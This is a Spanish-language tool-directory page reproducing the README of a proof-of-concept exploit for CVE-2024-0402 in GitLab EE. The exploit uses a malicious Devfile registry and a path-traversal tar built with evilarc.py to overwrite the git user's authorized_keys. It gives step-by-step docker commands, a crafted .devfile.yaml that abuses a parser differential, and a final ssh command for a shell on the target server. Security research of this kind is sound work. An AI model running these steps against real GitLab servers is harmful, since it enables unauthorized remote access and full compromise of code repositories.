Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
malicious-devfile-registry — Exploit para CVE-2024-0402 en Gitlab | Kitploit
Herramientas/GitHubGitHub/doyensec/malicious-devfile-registry
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Cadena de SuministroRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Exploit para CVE-2024-0402 en Gitlab

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver RepositorioSitio web
155hace 1 añoAún no revisado

Registro Devfile Malicioso

El proyecto contiene un Registro Devfile malicioso que se puede utilizar para explotar CVE-2024-0402 en Gitlab.

El Exploit

Un stack nodejs:2.2.1 está indexado para exponer el archivo archive.tar explotando el problema de path-traversal en la librería registry-support anterior a v1.1.0.

ubicación del tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

Fue creado usando evilarc.py para sobrescribir el archivo /var/opt/gitlab/.ssh/authorized_keys en el servidor Gitlab objetivo con las claves SSH de la carpeta ssh-keys/ en este repositorio.

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

Una vez en ejecución, el registro tendrá el .tar malicioso añadido a los stacks descargables. Vea el index.json listándolo entre los recursos del stack:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

Pasos de Reproducción

Configure una instancia de Gitlab EE con versión <=16.8.0. Habilite Workspaces en ella siguiendo la documentación y las notas adicionales en nuestra serie de blogposts !exploitable dedicada.

Cuando esté listo, siga los pasos a continuación:

  1. Ejecute docker build -t devfile-index . en la raíz de este repositorio para construir la imagen del contenedor del registro

  2. Ejecute docker run -d -p 5000:5000 --name local-registrypoc registry:2 para ejecutar un registro de contenedor local que será utilizado por el registro Devfile para almacenar el stack. Nota: debe editar el comando para exponerlo según su necesidad. Para nosotros, todo ocurría en un entorno local

  3. Ejecute docker run --network host devfile-index para iniciar el registro Devfile malicioso construido en el paso uno. Nota: Al igual que antes, edite el comando de ejecución como desee para que sea accesible por la instancia de Gitlab

  4. Autentíquese como desarrollador en el servidor Gitlab objetivo, luego edite el archivo .devfile.yaml de un repositorio que controle. El YAML debe explotar la diferencia del parser para permitir la obtención desde el registro malicioso

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. Para desencadenar la escritura de archivo en la interfaz de Gitlab, simplemente inicie un nuevo Workspace en el repositorio editado. Después de unos segundos, la escritura arbitraria de archivo debería ocurrir y ssh-keys/pockey.pub se agregará a authorized_keys del usuario git

  2. Debería poder disfrutar de un shell sin restricciones como git con

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
Descargar herramienta